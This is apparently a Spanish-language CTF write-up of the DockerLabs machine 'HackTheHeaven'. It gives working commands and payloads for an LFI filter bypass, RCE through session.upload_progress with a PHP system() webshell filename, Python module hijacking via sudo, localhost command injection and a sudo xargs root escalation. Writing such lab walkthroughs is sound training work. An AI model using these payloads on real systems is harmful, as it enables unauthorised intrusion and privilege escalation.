De un LFI con filtro de puntos suspensivos a shell de root, pasando por una condición de carrera en session.upload_progress y un secuestro de librería de Python.
nmap · gobuster · una página de ídolos con una pista
Un único puerto abierto. Bajo idol.html — una página dedicada a los creadores de DockerLabs — un botón rojo bajo el texto "¿Qué es lo peor que puede pasar?" lleva a clouddev3lopmentfile.php, y encima de él, la pista: "No place like 127.0.0.1".
$ sudo nmap -p- -sCV 172.17.0.2 -min-rate 5000 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Bienvenido a HackTheHeaven
$ gobuster dir -u http://172.17.0.2 -w common.txt -x php,html index.html (Status: 200) info.php (Status: 200) ← phpinfo(), file_uploads = On server-status (Status: 403) $ curl -s http://172.17.0.2/idol.html <h2>No place like</h2> <h2><b>127.0.0.1</b></h2> ... <button onclick="window.location.href = 'clouddev3lopmentfile.php'">
clouddev3lopmentfile.php?filename=
filename es un LFI clásico, pero con dos guardas encima: elimina ../ en un único pase (se salta duplicando la secuencia — ....// se convierte en ../ tras la limpieza) y bloquea por contenido cualquier ruta que lleve la palabra passwd o la extensión .php, con un mensaje de broma incluido.
$ curl "…?filename=../etc/hostname" (vacío — el filtro se come el "../") $ curl "…?filename=....//....//....//....//etc/hostname" a27bf1c82dd8 $ curl "…?filename=....//....//....//....//etc/passwd" No es posible visualizar el contenido, deja mis passwords en paz !!!
Cuatro repeticiones de ....// bastan para subir hasta la raíz y volver a bajar — la profundidad exacta del directorio de trabajo del script.
session.upload_progress · ruta predecible, sin condición de carrera
session.upload_progress estaba activo (On por defecto en PHP 8.3), y aquí está la gracia de esta variante frente a la de phpinfo(): el PHPSESSID lo elige el atacante, así que la ruta del archivo de sesión (session.save_path/sess_<PHPSESSID>) se conoce de antemano — nada que filtrar en una respuesta, nada que adivinar. Solo hay que mantener la subida abierta lo suficiente para leerlo antes de que se borre.
Subiendo el archivo a cámara lenta (fragmentos de 4 KB con una pequeña pausa entre cada uno) el archivo de sesión se queda varios segundos en disco — de sobra para leerlo, en vez de los milisegundos que da el truco de phpinfo().
$ curl "…?filename=…/var/lib/php/sessions/sess_<PHPSESSID>" upload_progress_x|a:5:{s:10:"start_time";i:...; s:5:"files";a:1:{i:0;a:7:{ s:4:"name";s:8:"test.txt"; ← reflejado tal cual, sin escapar ...
El campo name del fichero subido se refleja sin filtrar dentro del array serializado. Sustituyendo el nombre del archivo por código PHP crudo, la inclusión lo ejecuta:
filename="<?php echo 'HTHPWNOK'; system($_GET['cmd']); ?>" [+] RCE CONFIRMADO HTHPWNOKuid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html resultó ser root:root 755 — sin permiso de escritura para www-data, así que en vez de plantar un webshell persistente, el mismo primitivo se usó directamente para lanzar una reverse shell.
www-data → xerosec → mario
Una nota olvidada en /home, legible por cualquiera, resultó ser la primera grieta:
Hola Mario! Acuerdate de revisar el script conjunto que estamos desarrollando parar la comunidad! Lo he movido al directorio tmp megustaelfallout Borra esta nota cuando la leas.
| Salto | Técnica |
|---|---|
| www-data → xerosec | su xerosec con la contraseña de la nota |
| xerosec → mario | sudo -l permite (mario) NOPASSWD: python3 /tmp/script.py |
/tmp/script.py hace import hashlib. Python resuelve módulos primero contra el directorio de trabajo actual — así que un hashlib.py propio en el mismo /tmp, con permisos de escritura para cualquiera, se carga en su lugar en cuanto mario ejecuta el script vía sudo.
xerosec@a27bf1c82dd8$ echo "import os" > /tmp/hashlib.py xerosec@a27bf1c82dd8$ echo 'os.system("/bin/bash")' >> /tmp/hashlib.py xerosec@a27bf1c82dd8$ sudo -u mario python3 /tmp/script.py mario@a27bf1c82dd8$
Inyección de comandos en localhost:9999
En /home/mario, otra pista: un servicio interno de s4vitar escuchando en el puerto 9999, invocable con index.php?cmds4vi=<comando>.
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { shell_exec($_GET['cmds4vi']); }
Inyección de comandos directa, sin sanear — con el único requisito de que la petición llegue desde la propia máquina.
mario@a27bf1c82dd8$ curl http://localhost:9999/index.php?cmds4vi=id uid=1001(s4vitar) gid=1001(s4vitar) groups=1001(s4vitar),100(users)
La primera pasada devolvió Acceso denegado. sin más — el check compara REMOTE_ADDR contra la cadena exacta 127.0.0.1, y en este contenedor localhost resolvía primero a ::1 (confirmado con /proc/net/tcp6 y un var_dump($_SERVER) propio). Forzando la resolución a IPv4 y relanzando el servicio, la petición pasa el check sin tocar el payload.
GTFOBins, la última puerta
Una reverse shell sobre la inyección de comandos, y sudo -l cierra la cadena:
s4vitar@…$ sudo -l User s4vitar may run the following commands: (root) NOPASSWD: /usr/bin/xargs s4vitar@…$ sudo /usr/bin/xargs -a /dev/null bash root@…$ id uid=0(root) gid=0(root) groups=0(root)
"Felicidades, has conquistado el cielo del hacking."